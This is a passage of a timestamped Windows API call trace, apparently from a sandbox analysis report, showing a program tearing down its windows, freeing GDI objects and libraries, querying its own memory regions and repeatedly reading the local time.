NtdllDefWindowProc_W (hWnd=0x202c4, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0130.772] NtdllDefWindowProc_W (hWnd=0x202c4, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0130.773] CallWindowProcW (lpPrevWndFunc=0x41525c, hWnd=0x302c0, Msg=0x46, wParam=0x0, lParam=0x19fefc) returned 0x0 [0130.773] GetCurrentThreadId () returned 0x112c [0130.773] GetCurrentThreadId () returned 0x112c [0130.773] GetCurrentThreadId () returned 0x112c [0130.773] GetCurrentThreadId () returned 0x112c [0130.773] GetCurrentThreadId () returned 0x112c [0130.773] GetCurrentThreadId () returned 0x112c [0130.773] NtdllDefWindowProc_W (hWnd=0x202c4, Msg=0x46, wParam=0x0, lParam=0x19fefc) returned 0x0 [0130.773] NtdllDefWindowProc_W (hWnd=0x202c4, Msg=0x83, wParam=0x1, lParam=0x19fed4) returned 0x0 [0130.787] NtdllDefWindowProc_W (hWnd=0x202c4, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0130.788] IsIconic (hWnd=0x302c0) returned 1 [0130.788] GetWindowPlacement (in: hWnd=0x302c0, lpwndpl=0x19fadc | out: lpwndpl=0x19fadc) returned 1 [0130.788] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0130.789] CallWindowProcW (lpPrevWndFunc=0x41525c, hWnd=0x302c0, Msg=0x47, wParam=0x0, lParam=0x19fefc) returned 0x0 [0130.789] GetCurrentThreadId () returned 0x112c [0130.789] GetCurrentThreadId () returned 0x112c [0130.789] GetCurrentThreadId () returned 0x112c [0130.789] GetCurrentThreadId () returned 0x112c [0130.789] GetCurrentThreadId () returned 0x112c [0130.789] GetCurrentThreadId () returned 0x112c [0130.790] NtdllDefWindowProc_W (hWnd=0x202c4, Msg=0x47, wParam=0x0, lParam=0x19fefc) returned 0x0 [0130.790] NtdllDefWindowProc_W (hWnd=0x202c4, Msg=0x3, wParam=0x0, lParam=0x83008300) returned 0x0 [0130.797] SystemParametersInfoW (in: uiAction=0x49, uiParam=0x8, pvParam=0x19ff24, fWinIni=0x0 | out: pvParam=0x19ff24) returned 1 [0130.797] PeekMessageW (in: lpMsg=0x19ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ff1c) returned 1 [0130.797] IsWindowUnicode (hWnd=0x202c4) returned 1 [0130.797] PeekMessageW (in: lpMsg=0x19ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x19ff1c) returned 1 [0130.797] GetCapture () returned 0x0 [0130.797] GetWindowThreadProcessId (in: hWnd=0x202c4, lpdwProcessId=0x19fee0 | out: lpdwProcessId=0x19fee0) returned 0x112c [0130.797] GetCurrentProcessId () returned 0x110c [0130.797] GlobalFindAtomW (lpString="ControlOfs004000000000112C") returned 0xc0db [0130.797] GetPropW (hWnd=0x202c4, lpString=0xc0db) returned 0x0 [0130.797] GetParent (hWnd=0x202c4) returned 0x0 [0130.797] TranslateMessage (lpMsg=0x19ff1c) returned 0 [0130.797] DispatchMessageW (lpMsg=0x19ff1c) returned 0x0 [0130.797] NtdllDefWindowProc_W (hWnd=0x202c4, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0130.798] PeekMessageW (in: lpMsg=0x19ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ff1c) returned 1 [0130.798] IsWindowUnicode (hWnd=0x202c4) returned 1 [0130.798] PeekMessageW (in: lpMsg=0x19ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x19ff1c) returned 1 [0130.798] GetCapture () returned 0x0 [0130.798] GetWindowThreadProcessId (in: hWnd=0x202c4, lpdwProcessId=0x19fee0 | out: lpdwProcessId=0x19fee0) returned 0x112c [0130.798] GetCurrentProcessId () returned 0x110c [0130.798] GlobalFindAtomW (lpString="ControlOfs004000000000112C") returned 0xc0db [0130.798] GetPropW (hWnd=0x202c4, lpString=0xc0db) returned 0x0 [0130.798] GetParent (hWnd=0x202c4) returned 0x0 [0130.798] TranslateMessage (lpMsg=0x19ff1c) returned 0 [0130.798] DispatchMessageW (lpMsg=0x19ff1c) returned 0x0 [0130.798] PeekMessageW (in: lpMsg=0x19ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ff1c) returned 1 [0130.798] IsWindowUnicode (hWnd=0x202c4) returned 1 [0130.798] PeekMessageW (in: lpMsg=0x19ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x19ff1c) returned 1 [0130.798] GetCapture () returned 0x0 [0130.798] GetWindowThreadProcessId (in: hWnd=0x202c4, lpdwProcessId=0x19fee0 | out: lpdwProcessId=0x19fee0) returned 0x112c [0130.798] GetCurrentProcessId () returned 0x110c [0130.798] GlobalFindAtomW (lpString="ControlOfs004000000000112C") returned 0xc0db [0130.798] GetPropW (hWnd=0x202c4, lpString=0xc0db) returned 0x0 [0130.798] GetParent (hWnd=0x202c4) returned 0x0 [0130.798] TranslateMessage (lpMsg=0x19ff1c) returned 0 [0130.798] DispatchMessageW (lpMsg=0x19ff1c) returned 0x0 [0130.798] PeekMessageW (in: lpMsg=0x19ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ff1c) returned 1 [0130.798] PeekMessageW (in: lpMsg=0x19ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x19ff1c) returned 1 [0130.799] GetCurrentThreadId () returned 0x112c [0130.799] GetCurrentThreadId () returned 0x112c [0130.799] GetCurrentThreadId () returned 0x112c [0130.799] GetCurrentThreadId () returned 0x112c [0130.799] GetCurrentThreadId () returned 0x112c [0130.799] GetCurrentThreadId () returned 0x112c [0130.799] GetCurrentThreadId () returned 0x112c [0130.799] GetCurrentThreadId () returned 0x112c [0130.799] GetCurrentThreadId () returned 0x112c [0130.799] GetCurrentThreadId () returned 0x112c [0130.799] GetCurrentThreadId () returned 0x112c [0130.799] GetCurrentThreadId () returned 0x112c [0130.799] GetCurrentThreadId () returned 0x112c [0130.799] GetCurrentThreadId () returned 0x112c [0130.799] GetCurrentThreadId () returned 0x112c [0130.799] GetCurrentThreadId () returned 0x112c [0130.799] GetCurrentThreadId () returned 0x112c [0130.799] GetCurrentThreadId () returned 0x112c [0130.799] GetCurrentThreadId () returned 0x112c [0130.799] GetCurrentThreadId () returned 0x112c [0130.799] GetCurrentThreadId () returned 0x112c [0130.799] GetCurrentThreadId () returned 0x112c [0130.799] GetCurrentThreadId () returned 0x112c [0130.799] GetCurrentThreadId () returned 0x112c [0130.799] GetCurrentThreadId () returned 0x112c [0130.799] GetCurrentThreadId () returned 0x112c [0130.799] GetCurrentThreadId () returned 0x112c [0130.799] GetCurrentThreadId () returned 0x112c [0130.800] GetCurrentThreadId () returned 0x112c [0130.800] GetCurrentThreadId () returned 0x112c [0130.800] GetCurrentThreadId () returned 0x112c [0130.800] GetCurrentThreadId () returned 0x112c [0130.800] GetCurrentThreadId () returned 0x112c [0130.800] GetCurrentThreadId () returned 0x112c [0130.800] GetCurrentThreadId () returned 0x112c [0130.800] GetCurrentThreadId () returned 0x112c [0130.800] GetCurrentThreadId () returned 0x112c [0130.800] ResetEvent (hEvent=0x214) returned 1 [0130.800] GetCurrentThreadId () returned 0x112c [0130.800] GetCurrentThreadId () returned 0x112c [0130.800] GetCurrentThreadId () returned 0x112c [0130.800] GetCurrentThreadId () returned 0x112c [0130.800] ResetEvent (hEvent=0x214) returned 1 [0130.800] GetCurrentThreadId () returned 0x112c [0130.800] GetCurrentThreadId () returned 0x112c [0130.800] GetCurrentThreadId () returned 0x112c [0130.800] DestroyWindow (hWnd=0x302c0) returned 1 [0130.800] CallWindowProcW (lpPrevWndFunc=0x41525c, hWnd=0x302c0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0130.800] GetCurrentThreadId () returned 0x112c [0130.800] GetCurrentThreadId () returned 0x112c [0130.800] GetCurrentThreadId () returned 0x112c [0130.800] GetCurrentThreadId () returned 0x112c [0130.800] GetCurrentThreadId () returned 0x112c [0130.800] GetCurrentThreadId () returned 0x112c [0130.800] SendMessageW (hWnd=0x302c0, Msg=0x80, wParam=0x1, lParam=0x0) returned 0x8029f [0130.801] CallWindowProcW (lpPrevWndFunc=0x41525c, hWnd=0x302c0, Msg=0x80, wParam=0x1, lParam=0x0) returned 0x8029f [0130.801] GetCurrentThreadId () returned 0x112c [0130.801] GetCurrentThreadId () returned 0x112c [0130.801] GetCurrentThreadId () returned 0x112c [0130.801] GetCurrentThreadId () returned 0x112c [0130.801] GetCurrentThreadId () returned 0x112c [0130.801] GetCurrentThreadId () returned 0x112c [0130.801] CallWindowProcW (lpPrevWndFunc=0x41525c, hWnd=0x302c0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0130.801] CallWindowProcW (lpPrevWndFunc=0x41525c, hWnd=0x302c0, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0130.801] RemovePropW (hWnd=0x302c0, lpString=0xc0db) returned 0x254f220 [0130.801] RemovePropW (hWnd=0x302c0, lpString=0xc0dc) returned 0x254f220 [0130.801] GetCurrentThreadId () returned 0x112c [0130.801] GetCurrentThreadId () returned 0x112c [0130.801] GetCurrentThreadId () returned 0x112c [0130.801] GetCurrentThreadId () returned 0x112c [0130.801] GetCurrentThreadId () returned 0x112c [0130.801] GetCurrentThreadId () returned 0x112c [0130.801] CallWindowProcW (lpPrevWndFunc=0x41525c, hWnd=0x302c0, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0130.801] GetCurrentThreadId () returned 0x112c [0130.801] GetCurrentThreadId () returned 0x112c [0130.801] GetCurrentThreadId () returned 0x112c [0130.801] GetCurrentThreadId () returned 0x112c [0130.801] GetCurrentThreadId () returned 0x112c [0130.801] GetCurrentThreadId () returned 0x112c [0130.802] IsWindowVisible (hWnd=0x202c4) returned 1 [0130.802] GetCurrentThreadId () returned 0x112c [0130.802] GetCurrentThreadId () returned 0x112c [0130.802] GetCurrentThreadId () returned 0x112c [0130.802] GetCurrentThreadId () returned 0x112c [0130.802] GetCurrentThreadId () returned 0x112c [0130.802] GetCurrentThreadId () returned 0x112c [0130.802] GetCurrentThreadId () returned 0x112c [0130.802] GetCurrentThreadId () returned 0x112c [0130.802] GetCurrentThreadId () returned 0x112c [0130.802] GetCurrentThreadId () returned 0x112c [0130.802] GetCurrentThreadId () returned 0x112c [0130.802] GetCurrentThreadId () returned 0x112c [0130.802] GetCurrentThreadId () returned 0x112c [0130.802] GetCurrentThreadId () returned 0x112c [0130.803] GetCurrentThreadId () returned 0x112c [0130.803] GetCurrentThreadId () returned 0x112c [0130.803] GetCurrentThreadId () returned 0x112c [0130.803] GetCurrentThreadId () returned 0x112c [0130.803] GetCurrentThreadId () returned 0x112c [0130.803] GetCurrentThreadId () returned 0x112c [0130.803] GetCurrentThreadId () returned 0x112c [0130.803] GetCurrentThreadId () returned 0x112c [0130.803] GetCurrentThreadId () returned 0x112c [0130.803] GetCurrentThreadId () returned 0x112c [0130.803] GetCurrentThreadId () returned 0x112c [0130.803] GetCurrentThreadId () returned 0x112c [0130.803] GetCurrentThreadId () returned 0x112c [0130.803] GetCurrentThreadId () returned 0x112c [0130.803] GetCurrentThreadId () returned 0x112c [0130.803] GetCurrentThreadId () returned 0x112c [0130.803] GetCurrentThreadId () returned 0x112c [0130.803] GetCurrentThreadId () returned 0x112c [0130.803] GetCurrentThreadId () returned 0x112c [0130.803] GetCurrentThreadId () returned 0x112c [0130.803] GetCurrentThreadId () returned 0x112c [0130.803] GetCurrentThreadId () returned 0x112c [0130.803] DeleteObject (ho=0x300a07a9) returned 1 [0130.809] GetCurrentThreadId () returned 0x112c [0130.809] GetCurrentThreadId () returned 0x112c [0130.809] GetCurrentThreadId () returned 0x112c [0130.809] GetCurrentThreadId () returned 0x112c [0130.809] GetCurrentThreadId () returned 0x112c [0130.809] GetCurrentThreadId () returned 0x112c [0130.809] GetCurrentThreadId () returned 0x112c [0130.809] GetCurrentThreadId () returned 0x112c [0130.809] GetCurrentThreadId () returned 0x112c [0130.809] GetCurrentThreadId () returned 0x112c [0130.810] GetCurrentThreadId () returned 0x112c [0130.810] GetCurrentThreadId () returned 0x112c [0130.810] GetCurrentThreadId () returned 0x112c [0130.810] GetCurrentThreadId () returned 0x112c [0130.810] SetEvent (hEvent=0x218) returned 1 [0130.810] SetEvent (hEvent=0x214) returned 1 [0130.810] GlobalDeleteAtom (nAtom=0xc0e6) returned 0x0 [0130.810] GetCurrentThreadId () returned 0x112c [0130.810] GetCurrentThreadId () returned 0x112c [0130.810] GetCurrentThreadId () returned 0x112c [0130.810] GetCurrentThreadId () returned 0x112c [0130.810] GetCurrentThreadId () returned 0x112c [0130.810] GetCurrentThreadId () returned 0x112c [0130.810] GetCurrentThreadId () returned 0x112c [0130.810] GetCurrentThreadId () returned 0x112c [0130.810] GetCurrentThreadId () returned 0x112c [0130.810] GetCurrentThreadId () returned 0x112c [0130.810] GetCurrentThreadId () returned 0x112c [0130.810] GetCurrentThreadId () returned 0x112c [0130.810] GetCurrentThreadId () returned 0x112c [0130.810] GetCurrentThreadId () returned 0x112c [0130.810] GetCurrentThreadId () returned 0x112c [0130.810] GetCurrentThreadId () returned 0x112c [0130.810] GetCurrentThreadId () returned 0x112c [0130.810] GetCurrentThreadId () returned 0x112c [0130.811] GetWindowLongW (hWnd=0x302c2, nIndex=-4) returned 8523759 [0130.811] DestroyWindow (hWnd=0x302c2) returned 1 [0130.811] NtdllDefWindowProc_W (hWnd=0x302c2, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0130.811] NtdllDefWindowProc_W (hWnd=0x302c2, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0130.811] NtdllDefWindowProc_W (hWnd=0x302c2, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0130.812] SendMessageW (hWnd=0x202c4, Msg=0x80, wParam=0x1, lParam=0x0) returned 0x8029f [0130.812] NtdllDefWindowProc_W (hWnd=0x202c4, Msg=0x80, wParam=0x1, lParam=0x0) returned 0x8029f [0130.812] NtdllDefWindowProc_W (hWnd=0x202c4, Msg=0xae, wParam=0x200c, lParam=0x0) returned 0x0 [0130.813] GetProcAddress (hModule=0x73ff0000, lpProcName="WTSUnRegisterSessionNotification") returned 0x73ff2920 [0130.813] WTSUnRegisterSessionNotification (hWnd=0x202c4) returned 1 [0130.886] GetProcAddress (hModule=0x74310000, lpProcName="BufferedPaintUnInit") returned 0x743404d0 [0130.886] BufferedPaintUnInit () returned 0x0 [0130.886] DestroyWindow (hWnd=0x202c4) returned 1 [0130.887] NtdllDefWindowProc_W (hWnd=0x202c4, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0130.887] NtdllDefWindowProc_W (hWnd=0x202c4, Msg=0x46, wParam=0x0, lParam=0x19fed4) returned 0x0 [0130.888] NtdllDefWindowProc_W (hWnd=0x202c4, Msg=0x47, wParam=0x0, lParam=0x19fed4) returned 0x0 [0130.889] NtdllDefWindowProc_W (hWnd=0x202c4, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0130.893] NtdllDefWindowProc_W (hWnd=0x202c4, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0130.894] DestroyCursor (hCursor=0x8029f) returned 1 [0130.894] GetCurrentThreadId () returned 0x112c [0130.894] GetCurrentThreadId () returned 0x112c [0130.894] GetCurrentThreadId () returned 0x112c [0130.895] GetCurrentThreadId () returned 0x112c [0130.895] GetCurrentThreadId () returned 0x112c [0130.895] GetCurrentThreadId () returned 0x112c [0130.895] OleUninitialize () [0130.895] DeleteObject (ho=0x410a052c) returned 1 [0130.895] GetCurrentThreadId () returned 0x112c [0130.895] GetCurrentThreadId () returned 0x112c [0130.895] GetCurrentThreadId () returned 0x112c [0130.895] DeleteObject (ho=0x150a01a9) returned 1 [0130.895] GetCurrentThreadId () returned 0x112c [0130.895] GetCurrentThreadId () returned 0x112c [0130.895] GetCurrentThreadId () returned 0x112c [0130.895] DeleteObject (ho=0x3e0a0648) returned 1 [0130.895] GetCurrentThreadId () returned 0x112c [0130.895] GetCurrentThreadId () returned 0x112c [0130.895] GetCurrentThreadId () returned 0x112c [0130.895] DeleteObject (ho=0x980a07b7) returned 1 [0130.895] GetCurrentThreadId () returned 0x112c [0130.895] GetCurrentThreadId () returned 0x112c [0130.896] GetCurrentThreadId () returned 0x112c [0130.896] DeleteObject (ho=0xe0a0197) returned 1 [0130.896] GetCurrentThreadId () returned 0x112c [0130.896] GetCurrentThreadId () returned 0x112c [0130.896] GetCurrentThreadId () returned 0x112c [0130.896] DestroyCursor (hCursor=0x70127) returned 1 [0130.896] DestroyCursor (hCursor=0x1c02a7) returned 1 [0130.896] DestroyCursor (hCursor=0x2602a5) returned 1 [0130.896] DestroyCursor (hCursor=0x80129) returned 1 [0130.896] DestroyCursor (hCursor=0x19009f) returned 1 [0130.896] DestroyCursor (hCursor=0x802b3) returned 1 [0130.896] DestroyCursor (hCursor=0x1001f) returned 1 [0130.896] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0130.896] GetCurrentThreadId () returned 0x112c [0130.896] GetCurrentThreadId () returned 0x112c [0130.896] GetCurrentThreadId () returned 0x112c [0130.896] GetCapture () returned 0x0 [0130.896] GetCurrentThreadId () returned 0x112c [0130.896] GetCurrentThreadId () returned 0x112c [0130.896] GetCurrentThreadId () returned 0x112c [0130.897] FreeLibrary (hLibModule=0x74310000) returned 1 [0130.897] GlobalDeleteAtom (nAtom=0xc0db) returned 0x0 [0130.897] GlobalDeleteAtom (nAtom=0xc0dc) returned 0x0 [0130.897] FreeLibrary (hLibModule=0x754c0000) returned 1 [0130.897] FreeLibrary (hLibModule=0x74f70000) returned 1 [0130.897] CoUninitialize () [0137.047] GetCurrentThreadId () returned 0x112c [0137.047] GetCurrentThreadId () returned 0x112c [0137.047] GetCurrentThreadId () returned 0x112c [0137.047] GetCurrentThreadId () returned 0x112c [0137.047] GetCurrentThreadId () returned 0x112c [0137.048] GetCurrentThreadId () returned 0x112c [0137.048] GetCurrentThreadId () returned 0x112c [0137.048] GetCurrentThreadId () returned 0x112c [0137.048] GetCurrentThreadId () returned 0x112c [0137.048] DeleteObject (ho=0x21080641) returned 1 [0137.048] GetCurrentThreadId () returned 0x112c [0137.048] GetCurrentThreadId () returned 0x112c [0137.048] GetCurrentProcess () returned 0xffffffff [0137.049] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x400000, lpBuffer=0x19feac, dwLength=0x1c | out: lpBuffer=0x19feac*(BaseAddress=0x400000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0137.049] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x401000, lpBuffer=0x19feac, dwLength=0x1c | out: lpBuffer=0x19feac*(BaseAddress=0x401000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x2e7000, State=0x1000, Protect=0x40, Type=0x1000000)) returned 0x1c [0137.049] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x6e8000, lpBuffer=0x19feac, dwLength=0x1c | out: lpBuffer=0x19feac*(BaseAddress=0x6e8000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x10000, State=0x1000, Protect=0x8, Type=0x1000000)) returned 0x1c [0137.049] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x6f8000, lpBuffer=0x19feac, dwLength=0x1c | out: lpBuffer=0x19feac*(BaseAddress=0x6f8000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x8000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0137.049] GetCurrentProcess () returned 0xffffffff [0137.049] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x400000, lpBuffer=0x19feac, dwLength=0x1c | out: lpBuffer=0x19feac*(BaseAddress=0x400000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0137.049] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x401000, lpBuffer=0x19feac, dwLength=0x1c | out: lpBuffer=0x19feac*(BaseAddress=0x401000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x2e7000, State=0x1000, Protect=0x40, Type=0x1000000)) returned 0x1c [0137.049] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x6e8000, lpBuffer=0x19feac, dwLength=0x1c | out: lpBuffer=0x19feac*(BaseAddress=0x6e8000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x10000, State=0x1000, Protect=0x8, Type=0x1000000)) returned 0x1c [0137.049] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x6f8000, lpBuffer=0x19feac, dwLength=0x1c | out: lpBuffer=0x19feac*(BaseAddress=0x6f8000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x8000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0137.049] GetCurrentThreadId () returned 0x112c [0137.049] GetCurrentThreadId () returned 0x112c [0137.049] ResetEvent (hEvent=0x214) returned 1 [0137.050] GetCurrentThreadId () returned 0x112c [0137.050] GetCurrentThreadId () returned 0x112c [0137.050] GetCurrentThreadId () returned 0x112c [0137.050] GetCurrentThreadId () returned 0x112c [0137.050] ResetEvent (hEvent=0x214) returned 1 [0137.050] GetCurrentThreadId () returned 0x112c [0137.050] GetCurrentThreadId () returned 0x112c [0137.050] GetCurrentThreadId () returned 0x112c [0137.050] GetCurrentThreadId () returned 0x112c [0137.050] GetCurrentThreadId () returned 0x112c [0137.050] GetCurrentThreadId () returned 0x112c [0137.050] GetCurrentThreadId () returned 0x112c [0137.050] GetCurrentThreadId () returned 0x112c [0137.050] GetCurrentThreadId () returned 0x112c [0137.050] GetCurrentThreadId () returned 0x112c [0137.050] GetCurrentThreadId () returned 0x112c [0137.050] GetCurrentThreadId () returned 0x112c [0137.050] GetCurrentThreadId () returned 0x112c [0137.051] GetCurrentThreadId () returned 0x112c [0137.051] GetCurrentThreadId () returned 0x112c [0137.051] GetCurrentThreadId () returned 0x112c [0137.051] CloseHandle (hObject=0x214) returned 1 [0137.051] CloseHandle (hObject=0x218) returned 1 [0137.051] VirtualFree (lpAddress=0x820000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.052] GetCurrentThreadId () returned 0x112c [0137.052] GetCurrentThreadId () returned 0x112c [0137.052] GetCurrentThreadId () returned 0x112c [0137.052] GetCurrentThreadId () returned 0x112c [0137.052] GetCurrentThreadId () returned 0x112c [0137.052] GetCurrentThreadId () returned 0x112c [0137.052] GetCurrentThreadId () returned 0x112c [0137.052] GetCurrentThreadId () returned 0x112c [0137.052] GetCurrentThreadId () returned 0x112c [0137.052] CloseHandle (hObject=0x210) returned 1 [0137.053] GetCurrentThreadId () returned 0x112c [0137.053] GetCurrentThreadId () returned 0x112c [0137.053] GetCurrentThreadId () returned 0x112c [0137.053] GetCurrentThreadId () returned 0x112c [0137.053] GetCurrentThreadId () returned 0x112c [0137.053] GetCurrentThreadId () returned 0x112c [0137.053] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.053] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.053] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.053] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.053] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.053] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.053] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.053] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.053] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.053] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.053] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.054] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.054] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.054] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.054] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.054] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.054] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.054] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.054] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.054] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.054] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.054] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.054] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.054] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, 